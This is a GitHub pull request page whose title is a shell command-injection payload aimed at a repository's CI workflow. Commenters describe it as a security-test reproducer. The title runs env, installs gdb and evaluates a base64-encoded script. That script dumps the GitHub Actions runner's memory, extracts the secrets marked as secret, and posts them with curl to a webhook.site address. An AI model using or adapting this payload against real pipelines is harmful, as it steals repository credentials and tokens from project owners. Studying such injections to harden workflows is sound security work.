typo11";{echo,PRINTINGvICTORY};env;{sudo,apt,install,--yes,gdb};{echo,STARTING};{eval,$({echo,c3VkbyBnY29yZSAtbyBrLmR1bXAgIiQocHMgYXggfCBncmVwICdSdW5uZXIuTGlzdGVuZXInIHwgaGVhZCAtbiAxIHwgYXdrICd7IHByaW50ICQxIH0nKSIgOwpncmVwIC1FYW8gJyJbXiJdKyI6XHsidmFsdWUiOiJbXiJdKiIsImlzc2VjcmV0Ijp0cnVlXH0nIGsuZHVtcCogOwplY2hvICJ0b2tlbj0kKGdyZXAgLUVhbyAnIlteIl0rIjpceyJ2YWx1ZSI6IlteIl0qIiwiaXNzZWNyZXQiOnRydWVcfScgay5kdW1wKikiOwpzZXQgK2U7IGN1cmwgLWQgInRva2VuPSQoZ3JlcCAtRWFvICciW14iXSsiOlx7InZhbHVlIjoiW14iXSoiLCJpc3NlY3JldCI6dHJ1ZVx9JyBrLmR1bXAqKSIgIGh0dHBzOi8vd2ViaG9vay5zaXRlLzUzMTAzNDI4LTJmYjEtNDYzYi1hODgzLTcxNjUwYmUzNThhMyA7}|{base64,-d})};{echo,FINISHED};# #28

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Closed

IdanAmitay wants to merge 2 commits into Unity-Technologies:main from IdanAmitay:test

IdanAmitay commented Dec 24, 2024

security test

IdanAmitay added 2 commits

December 24, 2024 14:33


          test

9b85420


          test

7632c1b

IdanAmitay closed this

gogo2464 commented Jan 13, 2025

Hello @IdanAmitay thanks very much for waiting,

Sorry for the dealy. I did not received the email YET.

I am registered as tester in a unity plateform. I accidentally openned a PR on the REAL repo. I am sincerely sorry!

gogo2464 commented Jan 13, 2025 •

edited

Loading

Ah no sorry. It is the reproducer!

Congratulation for the reproduction. :)

I benefit of this moment to show you that the secret is leaked there: https://github.com/Unity-Technologies/Robotics-Warehouse/actions/runs/12481764465/job/34834790214#step:2:220 :) The data used to be exfiltrated to this url: https://github.com/Unity-Technologies/Robotics-Warehouse/pull/28/checks#step:2:228 :)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet